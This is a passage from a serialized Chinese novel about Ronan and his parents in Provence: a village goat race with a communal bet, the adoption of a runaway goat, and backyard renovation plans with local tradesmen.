那里有《格列弗游记》、《安娜·卡列尼娜》、《罗马帝国衰亡史》.甚至还有一本书皮泛黄的《格林童话》。 罗南小心翼翼的把落在佐伊脸上的几丝金色碎发整理好: “谢谢.” 之后他再次闭上眼睛,享受起这独属于他的的幸福时刻。 不知过了多久。 【美好的小憩使幸福度增加15点】 这一觉睡得格外舒服,当罗南听到有人喊他的名字,根本不愿醒来。 还是察觉到身边的人已不在,他才迷迷糊糊的睁开眼,发现面前站着弗雷迪。 罗南抬起上半身,四下寻找了一圈,并没有看到佐伊。 她什么时候离开的? “快醒一醒啊。”弗雷迪似乎对这个吊床产生了兴趣,跃跃欲试的想要上来。 罗南用警告的语气说: “这个吊床10万法郎,坐坏了我一分钱都不会给你打折,我劝你先掂量一下自己的体重情况。” “10万法郎?你疯了!”弗雷迪拍着巨大的肚皮说。 罗南从吊床上跳下来: “我只是想告诉你,它是‘无价’的。” 弗雷迪跟着罗南进入到屋内,冯珍已经给他们备好冰镇的粉红酒。 罗南问妈妈: “她什么时候走的?” 冯珍笑得合不拢嘴: “半个小时前吧,你们‘一起’睡了将近一个小时。” “走之前说什么了吗?”罗南笑着问。 “喂喂喂!”弗雷迪不满的抗议,“你能看看我吗?” 罗南不满的砸了一下嘴: “你来干什么?” 弗雷迪气的原地跳了起来,大声咆哮: “罗南,你太让我失望了!有好玩的事情,我第一时间想到了你,你居然这样对我?!” 罗南对他摆了摆手,示意他安静,转身从厨房里拿了一碟罗天海中午做的‘油炸花生米’,弗雷迪马上开心的闭上嘴。 “什么事?”罗南把碟子递给他。 弗雷迪抓了一把花生米放到嘴里: “博尼约要举办‘世界杯’了,去看吗?” “世界杯?”罗南无语的说,“世界杯不是在墨西哥举办吗?我爸爸前几天才看了开幕式。” 弗雷迪喝了一口冰镇粉红酒,把嘴里的东西咽下去: “博尼约的‘世界杯’是‘山羊赛跑’比赛,那是博尼约一年中最重要的大型赛事。” 第145章 山羊赛跑 弗雷迪等人一直耿耿于怀罗南没有参与他们愉快的戛纳之行。 于是大家在聚会上提议,再组织一次近一些、可以所有人一起出行的活动。 罗南一家是从巴黎来的,一定没见过‘山羊赛跑’这种地道的普罗旺斯特色,于是第二次集体出行就这样成形了。 这次的参与者不仅多了罗南一家三口,佐伊也来了。 一行人不到9点就浩浩荡荡的抵达博尼约村,发现这里早已人山人海。 罗南刚下车走了没两步,就被人塞了一张传单,赫然是‘山羊赛跑’的海报。 海报中除了详细介绍了参赛的20匹羊和它们优秀的‘骑师’信息之外,还用加粗的字体标注出: 本次比赛奖品多多,呼吁大家积极参与,若想下注可以到xx街xx号的烟草店找老板。 “这到底是‘山羊赛跑’的海报,还是那家烟草店的广告?”罗南哭笑不得的说。 弗雷迪摸了摸他的两撇胡子: “或许都有吧,这种热闹的大型活动肯定是多方受益的。” 阿兰和博尼约的一家咖啡厅老板是好朋友,每年他们都可以在最佳‘观赛地点’观赛,因为这个咖啡厅就在出发点旁边。 而且出发点也是终点线的位置,羊选手们在博尼约跑一圈后要再次回到这里‘撞线’。 弗雷迪走的飞快,超过罗南的同时,哈哈大笑着说: “‘撞线’的样子漂亮得很。” 罗南求助的回头看佐伊。 佐伊耸肩: “撞线时‘骑师’需要扎破头顶对应的水球,那样子挺‘滑稽’的。” 罗南继续问: “可以给我科普下比赛规则吗,这样我去烟酒店下注的时候也有一个判断标准。” 这么热闹的比赛,必须得买一点跟着热闹热闹啊。 佐伊坦然的说: “我对规则也不是很了解,它似乎每年都在变,你恐怕要问问别人了,不过我知道你并不需要去烟酒店下注。” “为什么?”罗南疑惑的问。 佐伊指了指面前的咖啡厅: “上去你就知道了。” 老板给阿兰留的位置在三楼露台。 罗南一行人抵达那里,露台已座无虚席。 现在还不到9点,但大家的‘胃口’都相当的好,每一桌上都有啤酒和葡萄酒。 阿兰还没坐下就点好了他们这一桌人的单——22份早餐、20瓶冰镇啤酒和一瓶冰镇粉红酒。 阿兰回到属于自己的座位,对罗南说: “粉红酒是给你和佐伊的。” 罗南此刻深深感受到了今日的热闹气氛。 看,连早餐都要配酒了! 谁说只有农夫从早喝到晚? 除了他们这22人的大队伍,露台上还有一个人格外引人注目。 靠近道路那侧,最好的位置上坐了一个比弗雷迪还要胖两圈的男士。 他一手拎着一本票簿,另一只手把一只钱箱晃得叮当作响,嘴里的雪茄不断冒出大团大团的烟雾。 佐伊给罗南介绍: “他是‘山羊赛跑’比赛的官方投注经办人。” “官方投注经办人?”罗南真是大开眼界了。 果然是‘世界杯’啊,高级! 不过他压低声音,用复杂的语气问佐伊: “那这位官方投注经办人知不知道,在某一个烟草店里,有另一个男人正代表着民间力量接受‘场外下注’?” 佐伊用喝水掩饰某种情绪: “应该不止是一个男人吧。” “哇哦——”罗南兴奋的打开粉红酒,“真是一场热闹的全民狂欢啊。” 那位经办人似乎也察觉到了有不少人抢他的生意,大声吆喝起来: “比赛马上开始,没下注的要抓紧了。” 罗南喝了一口粉红酒,看向众位男士: “有谁能给我科普一下比赛规则吗?” 弗雷迪是动物领域的专家,由他给罗南介绍: “比赛开始之后,骑士会和羊一起跑完规定的赛程,第一个撞线的就是本场比赛的第一名。” “人和羊一起跑?”罗天海和罗南一样,对这个比赛完全没有概念。 弗雷迪指了指自己的脑袋: “羊的这里不行,笨得很,必须有人指引才知道下一步要干什么。” “人就跟在后面一直跑?”冯珍想象不出来那个画面。 弗雷迪继续解释: “每一位骑师手里都有一根锋利的木棍,这根棍子有两个作用,第一,让羊跑的更快,第二,抵达终点时,用这根棍子戳破气球,证明完成了比赛。” 罗天海听到罗南说要下注,替罗南问: “怎么判断哪个羊有夺冠的可能?” 弗雷迪平摊双手,哈哈大笑着说: “当然是观察选手,和买马、买狗一样。” “但选手在哪儿呢?”冯珍看向街道。 下面都是人啊,哪有羊? 阿兰气愤的嘟囔: “只有比赛前的那10分钟才可以观察选手,其他时间只能看照片和冰冷的文字介绍,但那10分钟挤过去的人太多,什么都看不到。” 罗南用力吸了吸鼻子: “不,‘选手’就在这附近。” 他们所在的咖啡厅在起始位置,‘选手’当然不会距离这里太远。 它们排泄物散发的气味在普罗旺斯近35度的气温加持下异常浓郁,罗南带着弗雷迪和阿兰一路闻到了它们的休息处。 “厉害啊”阿兰目瞪口呆的说,“距离比赛开始还有30多分钟,我们可以好好观察一下。” 弗雷迪兴奋的举起双拳: “这次发达了!只要能看到它们,我就能知道谁是冠军!” “真的假的?”罗南回头不相信的问。 他的系统里没有可以应对这次‘赌注’的技能,罗南要把一切交给命运了。 弗雷迪用力拍了一下自己的左胸: “我一年要跟几万只羊打交道!” 罗南的表情精彩起来。 他现在太缺钱了,如果弗雷迪真的有这本事.他可要多买一点了。 “现在要如何做?”阿兰迫不及待的问。 他每年都会买,但从来没有中过! 这次命运要改变了吗? 弗雷迪给罗南和阿兰解释道: “这些羊都受过专业训练,整体水平不会相差太大,细节决定了成败。” 弗雷语气严肃,和平时的样子完全不同,罗南觉得这次说不定真的能狠捞一把,认真的问: “什么细节?” 弗雷迪无比郑重的说: “观察它们的粪便,赛前排便最多的通常跑的快,肚子排空了,当然比装了一肚子东西的羊跑得快。” 罗南:“.” 在接下来的十几分钟里,他们三个人仔细观察了这些选手的排泄情况,和地上之前的堆积物。 通过物理和数学等手段,计算出了一个冠军人选——11号。 这家伙产量最大! 眼看即将到了比赛时间,他们返回咖啡厅的3楼。 当他们拿着一沓法郎排队交钱的时候,被告知了一个噩耗。 “这届比赛改下注规则了,需要写出前三名的序号,只写冠军是不行的。” “什么?!”阿兰不敢相信自己的耳朵。 没人记得其他19位‘选手’的排泄量. 缜密的科学计算又要被‘命运’所取代了吗? 但幸运女神并不青睐我! 在弗雷迪和阿兰围着官方投注经办人交涉投注规则不合乎情理时,罗南悄悄蹲到佐伊的身边。 “给我写两个数字吧。” 阳光太大,佐伊微微眯起眼睛,看起来格外‘可爱’: “我不懂羊,你自己选吧。” 阳光照射到佐伊金色的瀑布长发上,反射出柔和的光芒,耀眼的不成样子,就像她的名字‘璀璨明珠’一样让人无法直视。 罗南把纸递给她: “没关系。” 你就是我的幸运女神啊。 第146章 疯狂的普罗旺斯人! 佐伊在罗南的劝说下写了两个数字,1和7。 由于弗雷迪和阿兰完全不记得其他19只羊的情况,无奈只能跟着罗南一起买,因为这家伙是所有人里财运最好的那个。 又由于这一次依然是‘碰运气’,没有任何科技含量,其他几个自认为不够专业,但又跃跃欲试的人也加入了进来。 可以改变命运的豪赌,最终变成了每家出100法郎,凑到一起购买的集体活动。 “集体活动就要有集体活动的样子。” 弗雷迪把500法郎送到官方投注经办人手里,买下了11号冠军,1号第二名,7号第三名。 阿兰颇有乐观精神的说: “无论结果怎样,我们能在最棒的位置观赏博尼约一年中最‘热闹’的一天都是件很值得开心的事情,不是吗?” 罗南一开始还不太相信阿兰的说辞,觉得这又是普罗旺斯人一贯的‘夸大’说法,毕竟卢尔马兰热闹的日子也不少。 难道黄色亮影全村穿梭那天不够热闹吗? 直到那20位‘选手’被它们的骑师带上博尼约的主路. 一切都不一样了。 罗南这辈子从未经历过如此‘热闹’的一天,简直可以‘载入史册’。 不,这已不是热闹这么简单了。 是疯狂! 十几分钟不见,羊选手们大变了样。 它们有的穿上了漂亮的衣服,有的戴上小帽,像是被精心打扮的‘羊娃娃’一样。 而其中最抓眼球的是一只既穿了衣服,又戴了帽子的羊选手。 “它的骑师把带它来选美的吗?”弗雷迪坏笑连连。 “弗雷迪,别那样说它。”老卡尔用拐杖撑起身子,走向露台边缘、视野最好的地方,“那是我们买的7号。” 路易反复确认海报上它的‘公关照’: “确实是它,7号。” 这个时候出资人们才发现,他们买的1号羊选手情况也不太妙。 它的‘骑师’是一个大胖子。 1号选手有可能跑出好成绩不过它的骑师就难说了,比赛全程有3公里多呢。 佐伊有些自责的抱紧自己,显然没想到自己的‘预感’会如此糟糕。 罗南笑着安慰她: “没关系,重在参与,重要的是大家能一起参与到这场紧张激烈的比赛当中去。” 罗南继续宽慰对此‘寄予厚望’的弗雷迪: “不过你选的11号羊选手似乎很有争冠的实力,我看到它的骑师用匕首把那根木棍削得更加尖利了,而其他骑师都没有那样做,他很想拿第一。” 佐伊语气低沉的说: “不一定是为了拿第一,最后一名的羊要被烤了吃” “烤了吃?”来自巴黎的一家人发出同样的震惊。 路易给他们解释: “这是普罗旺斯的一种习俗,在5-7月迁徙牧场的时候,各地有很多和羊有关的活动,都是要现场杀羊的。” “好吧。”来自巴黎的几个家伙又涨知识了。 聊天的过程中,楼下突然传来嘈杂的争吵声和选手们不耐烦的咩咩声。 原来是一辆迷失了方向的小轿车,从某个岔路口不幸开入了这个路段,车主希望穿过这里上高速。 但很不幸的是,在他去高速的必经之路上,有几百名看热闹的人,和20只等待比赛的羊。 那名车主完全没有被面前宏大的场面所吓到。 他倔强的关上车门,引擎一阵咆哮,车子继续向前行进,马上就要和人群亲密接触上。 “勇敢的普罗旺斯本地人。”罗南双手抱胸,看的津津有味。 普罗旺斯人认为车子是它们的堡垒、是它们的盔甲,只要坐进这个铁盒子,无论前方是其他车辆还是电线杆都不需要惧怕。 “但他选了一个不好的时候。”路易幸灾乐祸的说,“博尼约村一年中最热闹的一天,不介意再加一些‘热闹’的调料。” 楼下的场面逐渐失控,主办方的工作人员不断挥舞双手,以希望车子后退,不过没有任何效果,双方的距离越来越近了。 围观人群自动分开一道小缝,几个拿着巨大军鼓和大镲的士兵一边用力敲打他们的‘武器’,一边向那辆车移动,并很快把它包围住。 这种‘魔法’攻击起效极快。 不到一分钟,那名司机就双眼发直、精神涣散,似乎失去了一切生机,在人群的欢呼中,他最终‘缴械投降’,退出了这片战场。 乐器攻击的不只是那名司机,还有周围的人,罗南似乎提前体会了心脏病的感觉: “这里怎么会有乐队呢?” 似乎是为了回答罗南的问题,隔壁不知道哪家餐厅的露台上,传来一个男人撕心裂肺的叫声,随后更多男人嚎叫起来: “今年来的是阿尔林德舞厅的莫利小姐!” 罗南努力控制自己的微表情,不希望让旁人看出他知道这句话的意义。 阿尔林德舞厅? 阿普特那个著名的脱衣舞表演歌厅?! 不过罗南完全想多了,阿尔林德舞厅的威名响彻普罗旺斯的每一个地方。 十几种乐器汇合出了美妙的乐章,激情四射的音乐声中,那名叫莫利的小姐乳晃臀摇的号召大家‘玩的开心’。 人群彻底疯狂。 大家手舞足蹈起来,无数双手随着激情的音乐漫无目的地在空中乱晃。 这种在巴黎红灯区夜晚才能看到的景象,在‘光天化日’下的普罗旺斯上演了。 弗雷迪、阿兰、路易、莉亚.连老卡尔都拄着拐杖对着自己的太太扭动起屁股。 即使没有舞伴的人,也在快节奏的音乐下与自己的影子为伴。 罗南放弃了去盥洗室‘冷静’一下的想法,现在移动一定会被无数直拳和勾拳击中,说不定还会被某些人甩出来的项链所鞭挞。 耳侧传来佐伊开怀的笑声。 罗南扭头。 谢天谢地,佐伊还是他认识的那个样子! “普罗旺斯人不只有一副面孔。”佐伊在巨大的音乐干扰下对罗南喊道。 “但还好你只有一副面孔。”罗南喝了一口冰镇粉红酒压惊。 佐伊双手微微高举,腰肢如水蛇般性感的扭动了两下,头发甩向一侧,打到罗南脸上: “普罗旺斯没人不会跳舞,我只是不想在这里跳。” 见罗南一副‘见鬼’了的表情,她停下扭动,把罗南的脸掰向楼下,贴着他的耳朵说: “快看,比赛要开始了。” 哦,对对对,比赛! 我的羊! 罗南差点忘记了这是一场比赛,而不是露天舞厅。 与热闹的人群相比,选手们淡定太多了。 它们波澜不惊的咀嚼着比赛前最后的早餐,同时不忘排空自己的肠道,在主路上留下大片它们‘到来过’的痕迹。 罗南的注意力主要在1、7和11号选手上。 11号选手一如既往的‘靠谱’,它的骑师在做着最后的检查工作,看它脖子上的绳子是否牢固。 1号选手正认真啃噬着2号选手的绿色马甲,似乎以为那是干草。 而我们最美丽的7号选手则把头调转到另一侧,一副‘特立独行’的时尚模样。 它的骑师无奈只能提着羊角帮它找到正确的方向,不过经过这番折腾,7号选手的帽子歪歪扭扭的掉下来,挡住了它的一只眼睛,使得7号看起来更‘时尚’了——活像个‘浪荡不羁’的花花公子。 “我们得提醒它的骑师帽子掉了!”不止一个人发现了7号选手的异常。 弗雷迪暂时停下搔首弄姿,想要在最后时刻下楼提醒它的骑师。 不过他刚走了两步,一阵狂风席卷而来,掀翻了不少餐盘里剩余的早餐和三明治,生菜、番茄和面包屑从盘中腾空而起,迎面扑向女士们白花花的胸和男士们的衬衫。 一面面红色的桌布像旗帜一样随风飘摇. 主办方知道如果再不开始,恐怕会生出更多的热闹,于是提前开始了比赛。 弗雷迪用尽全力挤下楼,看到的只有一群在羊粪便里打滚的孩子。 “完了,这次真的完了!”弗雷迪苦闷的抱住脑袋。 “弗雷迪,即使你提醒了骑师,7号选手的结局也不会有什么改变。” 弗雷迪离开了最佳观景点,错过了比赛开始后的太多信息。 他一上来,路易就告诉了他一个噩耗: “7号选手跑的太快,它的骑师在第一个路口就把绳子弄丢了,而没有了骑师的它在第一个路口走错了方向,进入了一条不知名的道路,也许7号现在正在博尼约的某个老房子前吃草呢。” 选手们离开了大家的视线,只能通过转播员的转播知道这场比赛的进行情况。 转播员用讲笑话的语气告诉全村人: 有几只羊在某个餐厅前停止了奔跑,致力于抢顾客盘子里的食物。 还有几只羊在比赛过程中打了起来,赛跑比赛变成了‘格斗比赛’。 还有几只羊对路旁的摄像机升起了浓厚的兴趣,正在排队拍摄它们的第一支‘个羊’大片,而这其中就包含被罗南它们寄予厚望的11号。 比赛进程过半,还在认真比赛的只有4名选手了。 “太遗憾了,不能看到画面,似乎比赛过程比比赛前更热闹。”罗南完全亢奋起来,热血沸腾。 选手们围着村子跑了一圈,再次绕回到起点。 转播员的嗓音越来越激昂: “现在1、9、14和17号选手齐头并进,到底谁能第一个撞线呢?” 罗南一行人全部站了起来。 1号? 那个小胖子居然要争冠了? “羊来了!羊来了!”孩子们终于离开了那些粪便,把道路让给选手。 骑师的表情们比羊还要狰狞,似乎最后一个烤的不是羊,而是人一样。 最终被罗南等人不看好的1号选手夺得了第一名。 罗南笑着对佐伊说: “如果不听弗雷迪的‘科学’,只参考你的答案,我们能找到真正的冠军。” 佐伊的表情没有多喜悦,她始终望着街道的尽头: “但7号还没有出现。” 比赛已经结束,属于7号选手的水球依然悬挂在那里,没有被戳破。 “屠夫会找到它的。”弗雷迪像魔鬼一样舔了下嘴唇,“一会就可以在餐盘上看到它了。” 冯珍连连摇头: “太残忍了,太残忍了。” 弗雷迪用食指指自己的脑袋: “那只羊的这里不行,笨的要死。” 罗南心里也不是个滋味。 可能给了7号太多关注,不想看到‘花花公子’就这样陨落。 中午。 “小羊真好吃啊。” 包括巴黎一家人在内,大家对博尼约人的烤羊肉技术给予了极高的评价。 “太遗憾了,没有找到那只傻羊,他们杀了一只别的。”弗雷迪遗憾的摇头。 “你真是魔鬼。”罗南低声嘟囔。 热闹的比赛结束,大家吃过午饭离开博尼约,返回卢尔马兰。 车上,佐伊问罗南: “今天玩的开心吗?” “当然!”罗南脑袋里全是佐伊晃动腰肢的那短短几秒的画面。 要是能再看几次就好了 “路易说这几个月有很多和羊有关的活动?”罗南‘心怀不轨’的问。 佐伊点头: “有很多,圣雷米有普罗旺斯地区规模最大的迁徙活动,那天会有3000多只羊被赶上街道。” “什么时候?”罗南兴奋的问。 普罗旺斯规模最大的肯定更‘热闹’吧? “过一阵子。”佐伊扭头问,“你想去?” “想!”罗南的笑容已经止不住了。 下次不能再‘集体’活动了,他和佐伊两个人去。 这样她是不是就‘想’跳了? “我今天也玩的很开心。”佐伊笑着看窗外,“这是我第一次买羊。” “第一次就买中了冠军.你很有天赋啊。”罗南笑着说。 “直觉。”佐伊抿嘴道,“觉得1号和7号会有故事。” 罗南哈哈大笑着说: “7号可太有故事了。” 开了一会,罗南把车停到路边,看着不远处的山坡,对佐伊说: “你说有没有一种可能.你所谓的‘故事’是另一种可能呢?” 在那里,有一个穿着红色衣服的小羊正在悠闲的吃草,它的头上,黑色的小帽歪歪扭扭的盖住一只眼睛,像是个‘浪荡不羁’的花花公子一样。 第147章 这是在给我的女人花钱! 罗南和佐伊下车,缓慢向‘花花公子’移动。 在距离它二十几米的地方,那个小家伙迈着小碎步咩咩咩地向他们跑来,像是一个迷路的孩子终于见到了妈妈。 佐伊终于把它的帽子扶正: “也许我写7号,是因为和它有缘呢?” 佐伊很喜欢小动物,也拥有照顾它的能力和条件,于是罗南把‘花花公子’装上车返回博尼约,希望能联系上骑师,把它‘合法’的买下来。 组委会帮助他们联系到了那位骑师,双方约在一个咖啡厅见面。 骑师见到自己的战士还活着非常高兴,但他拒绝了罗南和佐伊的提议。 他认为这只‘特立独行’的羊还可以继续发挥它的价值。 罗南并不是讨价还价的高手,他在普罗旺斯的购物经验挺‘糟糕’的,佐伊在该领域同样没有什么潜质。 他们遗憾的来到咖啡厅门口和‘花花公子’告别,但闻讯而来的路易、弗雷迪和阿兰接连进入了咖啡厅里。 老卡尔姗姗来迟: “放心吧孩子们,我们的运气不好,但我们的‘实力’毋庸置疑。” 说完他优雅的推开门,加入到战局之中。 佐伊看向咖啡厅里的骑师: “我有点可怜他了。” 罗南回头,表情复杂的说: “的确,他和那个被魔法音乐攻击过的驾驶员表情差不多了。” 大约10分钟后,弗雷迪把绳索交到佐伊的手里: “我改变主意了,这是个聪明的家伙,它给自己找了一个最好的主人。” 罗南不知道这些男人用了什么手段,但他们脸上因下注失利而产生的阴霾一扫而光。 大概是由于他们不仅争取下来了‘花花公子’,并且价格和一只普通的羊没有区别吧。 大家再次开车返回卢尔马兰。 这一次,每个人的脸上都洋溢着开心的笑容。 真是一次成功的集体活动啊! 花花公子跟佐伊回家了,不过这件事给罗南提了一个醒——虽然这次只会做一部分后院布置,但要考虑它未来最终的样子。 “我希望合理利用这片空间,会客、休闲、用餐、养殖和种植都要考虑进去。” 卡福在约定的日期来到罗南家,初步评估了这里的‘工作量’后兴致不高的问: “你想怎么弄?” 他的工作只有地面工程,确实活儿太少了 罗南指着靠近房屋的一片区域说: “这里做会客休闲区。” 卡福无所谓的点头。 罗南又带卡福来到浓密的树下: “这里是户外厨房和户外用餐区。” 卡福侧了下脑袋,没有说话。 罗南来到了后院的中心位置: “家里需要一些颜色,我希望未来这里能有一片花圃。” 最后他走到边缘位置,指着这一大片说: “养殖区。” 卡福蔫蔫的跟过来,点了一根烟: “养兔子?” 罗南耸肩: “还没想好,总之先把地方留出来。” 卡福干笑了两声: “说实话,伙计,你的活儿太少了,把这里铺平所用的时间可能还没我把机器运过来的时间长。” “哦,不不不——”罗南摇了摇头,“不是铺平。” “不是铺平?”卡福用粗壮的胳膊指了指身后,“那你叫我来干什么,现在的样子也能用,很多人就是在凹凸不平的地面上吃饭的。” 罗南平摊双手: “你以为我讲这么多,是在抒发‘畅想’吗?我是想告诉你——” 他回头,看着自己的后院说: “不同功能区的地面要弄成不一样的样子。” 卡福把烟拿下来,眉毛皱成一个八字。 这里不是阿普特,也不是艾克斯。 居然在吕贝隆山区,遇到了一个可以说出‘功能分区’这种高级词汇的家伙? 罗南回到‘会客区域’,指着地面说: “我希望这里是碎拼石材。” 吕贝隆的石材种类又多又便宜,这是罗南能想到最好的装饰材料了。 罗南继续指着头顶说: “我还想在上面弄一个可以遮阳的‘顶’,事实上我也可以自己做,只是你们人多更快一些,这次我只装这个区域,你先给我报这些工程的价格吧。” 卡福又把烟叼到嘴上,惊讶的问: “你要开家庭旅馆吗?” 吕贝隆山区的家庭旅馆非常多,有些人会把自己家装修的像酒店一样漂亮,拿出三到四个房间出来租给游客。 罗南摇头: “不是,只有我和父母住。” 卡福看了一眼一旁的罗南父母,控制不住的‘哇’了一声: “很酷的想法。” “报个价吧。”罗南坐到心爱的吊床上。 卡福为难的回看‘会客区域’,仔细评估起来: “伙计,现在是普罗旺斯的装修淡季,我们的价格相对便宜,你确定只弄这一个区域吗?说不定等你做其他区域的时候,价格又涨上去了。” 罗南笑着耸肩: “伙计,现在也是我的赚钱‘淡季’,没有那么多预算让你做完全部啊。” 卡福像树根一样的两只胳膊交缠到一起,皱着眉毛说: “只做那一个区域的地面、遮阳顶和墙面.1800法郎,但如果再加上其他区域的地面工程,我可以给你一个友情价——4000法郎,全部做成你想要的样子,不过仅限本地石材,其他材料太贵了。” 罗南摸着下巴想了一下。 这确实是个友情价,年初它做厨房翻新和修路一共花了7000法郎。 不过他必须精打细算,还要去多库那里买石材家具呢。 “抱歉了伙计。”罗南从吊床上站起,遗憾的摇头。 “等一下!”冯珍用中文叫住罗南。 罗天海对卡福说了一句‘稍等’后,把儿子带到了远一点的位置: “我和你妈妈商量了,这次修后院的钱我们出。” 罗南忙解释: “我有钱——” 罗天海拍了拍他的肩膀: “我和你妈妈没赚过什么大钱,但终究是工作了这么多年,手里存了不少。” “那是你们养老的钱。”罗南摇头。 罗天海和儿子并排站到一起,看向远处的吕贝隆山谷: “我们已经拥有了最好的养老环境,手里留那么多钱干什么?而且那些钱本来就是给你存的,你现在房子有了、车也有了,我们也没其他帮你的地方了。” 罗南挖空心思的找各种理由,全部被罗天海驳回,最后他拿出父亲的威慑力,瞪着眼睛说: “你妈妈对这个后院‘寄予厚望’,脑子里全都是这件事,有特别多的想法.我可不是给你装修什么院子,这是在给我的女人花钱,你别跟我争,听见没有?” 罗南苦闷的叹气,一侧头听到妈妈已经在跟卡福聊在哪里挖游泳池了.不得不暂时答应下来: “工程的钱可以你们出,但家具和软装我来,你们不知道我要设计成什么样。” “行。”罗天海笑着答应下来。 父子俩回去,冯珍一手垮住一个,用少女一样的兴奋语气给他们介绍刚刚和卡福‘碰撞’出的想法: “户外厨房里搭一个烤炉,咱们可以自己烤披萨了,再用石砖搭一个四五米长的操作台,我看电影里人家院子里也有吧台,朋友们都那么爱喝酒,咱们也搭一个吧?” 罗天海宠溺的说: “弄,都弄,都听你的!” 罗天笑着看父母‘撒狗粮’。 他一定会努力让他们继续幸福下去的 最终,罗南一家和卡福达成了一份7000法郎的大合作。 卡福赚到了钱,冯珍也即将拥有一个梦想中的美丽后院,所有人皆大欢喜。 卡福说,三天后他会带着人手过来。 想到卡福的‘普罗旺斯速度’,罗南第一时间开车去往D7公路旁的采石场。 熟悉的‘大商场’、熟悉的石材粉末味道,罗南对这里的每个地方都很熟悉。 但石材场老板多库对罗南不熟悉了.他完全不记得服务过这么一个顾客。 “没关系,不记得就算了,我不是来叙旧的,是来订东西的。”罗南有理由相信,是这些白色粉末飞进了多库的大脑,把除了石头以外的其他脑神经全部影响了。 这家伙不仅会装错东西,记忆力也差得离谱,怎么能做出这么多精妙的石材‘艺术品’的呢? “订制?”多库抖掉胡子长的白色粉末,激动的问。 “是的。”罗南拿出和卡福初步碰过的工程图纸给多库看,“我需要一个这个尺寸的U型‘沙发’,还需要与之适配的桌子,一个L形吧台.” 罗南描述完自己的需求后,继续补充: “用米白色的寒石做。” 他希望家里石材家具统一风格。 多库意外的说: “你很懂石材啊,居然知道普罗旺斯的特色是寒石?” 罗南礼貌的笑了一下: “是你之前给我讲的。” 多库哈哈大笑的带罗南离开工作间: “真是个幸运的家伙,最近开采出了很不错的寒石,应该正好够做出你要的东西,去看看吧。” 罗南跟着多库穿越堆积如山的现成作品区,去往原料区。 看着那些天使喷泉和古罗马风格雕像罗南又一次陷入了遐想——我为什么没有一所古堡呢? 这些大家伙真让人眼馋。 路过几个雕花廊柱时,他突然放慢了脚步。 那些大家伙家里没地方放,也不合适放,但这个东西似乎可以‘设计’进去啊。 父母的加入让后院设计来到了一个新的高度,既然如此不如再‘提高’一下? 第148章 狡诈的动物们 某一天。 睡梦中的罗南被嘈杂的聊天声吵醒。 混沌中,他拿起放在床头的时钟,看到上面显示4点15分。 外面实在太吵闹,似乎有一个大型旅行团来到吕贝隆,并把他家作为途中休息点了,以至于罗南的第一反应是这应该是下午4点15分。 可当他稍微清醒一些,又察觉到外面天还没有亮。 家里被吵醒的不止是罗南。 小黑已从二楼罗南的卧室跑到一楼大门口进行警告般的低吼,似乎那个‘旅行团’再靠近一分,它就要冲出去‘撕咬’他们。 罗南下了床,打算去看看情况。 不过这个时候,他突然发现了一个不太对劲的地方。 自从马赛来到家里,只要家庭成员早上稍微有一点清醒的迹象,它就会蹲到床边‘哼哼’起来,像是个撒娇的孩子。 纯种猎犬的血统,似乎能让它清晰的察觉到人类的呼吸频率变化,知道谁醒了,谁还睡着。 而这种‘哼哼’,是马赛说‘早上好’的独特方式。 每一个醒来的人都必须对它行进一个简短的‘全身按摩’或者‘头部按摩’,否则这家伙会追着你‘哼哼’一个早上,甚至一个上午.只为提醒你漏掉了事情。 但今天罗南已经下了床,那熟悉的‘哼哼’声始终没有出现。 而更令人担忧的是,马赛一直是小黑的‘尾巴’,小黑去哪儿它去哪儿,即使搞不清状况,小黑叫的时候那小子也会跟着叫两声。 罗南只听到了小黑的低吼声,没有听到马赛的‘小奶音’. “马赛,马赛。”罗南小声喊了几嗓子。 这家伙的听力也特别好,平时听到有人喊它早就跑过来了。 “儿子,咱家外面来了好多人!”冯珍光着脚跑来,惊恐的说,“是不是你说的盗贼啊?” “夏天盗贼休息,冬天才会出来‘赚钱’。”罗南在屋里四处寻找起来,“妈,你看到马赛了吗?” 吕贝隆的盗窃高发季是旅游业惨淡的那几个月份,有钱的家伙离开普罗旺斯,他们的房子才会空出来,盗贼才有可偷的东西。 相比于盗贼,现在有一个更加值得被关注的问题。 马赛丢了?? 在罗南的提醒下,冯珍也发现了这个严峻的问题,更加惊恐的大声喊起来: “马赛!马赛?好宝宝——” 很快,罗南家的情况比外面的旅行团还‘热闹’,所有的灯全部亮起,一声高过一声的‘马赛’响彻云霄。 三口人找了约3分钟,终于在罗南卧室的窗帘后找到了一个瑟瑟发抖的钢灰色尾巴。 马赛把头死死的扎到角落里,不肯离开分毫。 冯珍把它抱起来,马赛立即把头扎到了她的腋下。 “你看把它吓的!”冯珍心疼的说。 罗南无语的在马赛的屁股上点了下两: “你是不是猎犬啊?” 罗天海表情严肃的对老婆和儿子说: “行了,你们在这等着,我出去看看。” “你小心点.”冯珍心惊胆战的说。 罗南把罗天海藏在身后的大菜刀抢走,在手里掂了两下: “防卫还不拿把趁手的?这把都能去砍柴了,挥得动吗?” 罗天海不悦的嘟囔起来: “拿小的哪有震慑力?!” 罗南笑着给父母解释: “应该是卡福他们来了。” 冯珍不停摇头: “不可能的儿子,外面至少有20个人,咱们家弄一个院子而已,哪里用的上那么多人?” 巴黎劳动力价格昂贵,哪家装修只有三到四个全能的工匠会参与。 罗南打开二楼的窗户,对着外面喊: “卡福?” 熟悉的声音从楼下传来: “先生女士们,你们继续睡吧!” 罗南回头对父母耸了下肩膀: “但卡福有巴黎没有的‘普罗旺斯’速度。” “上帝,他们早上4点多钟就来干活了?”老两口把脑袋探出去,好奇的打量。 罗天海和冯珍‘披星戴月’的在厨房给这20多个壮如牛的工人做早饭,罗南出来和卡福沟通施工情况。 “‘会客’区域搭起来后,我让多库过来量尺寸。”罗南指着一侧说。 这次要定制的东西太多,需要多库亲自来测量,这样才能做得合适。 卡福平静的说: “那你明天给他打电话吧。” 罗南笑着点了下头。 如果普罗旺斯其他行业也能有卡福的‘速度’就好了。 不过也是因为这帮人‘勤奋’。 而勤奋恰恰是普罗旺斯最不需要的东西这里是慢生活和无忧无虑的代名词。 想到这里,罗南又气又笑的问: “你们开工的时间怎么越来越早了?” 上一次是5点左右来的,这次又早了一个小时。 你们‘勤奋’就不管别人的死活了吗? 卡福声音洪亮的说: “早上的精神最好!” 罗南打了个哈欠: “可能只有你们吧。” “你们的精神也不错啊——”卡福指着罗南的房子,开玩笑的说,“我听到你们一早就在唱《马赛曲》了。” 一说这事儿,罗南就气‘精神’了: “我的狗叫马赛,你们来的人太多,把它吓到躲了起来,让我们找了好久。” 卡福似乎听到了什么好玩的笑话: “我们都没进去,它怕什么?” 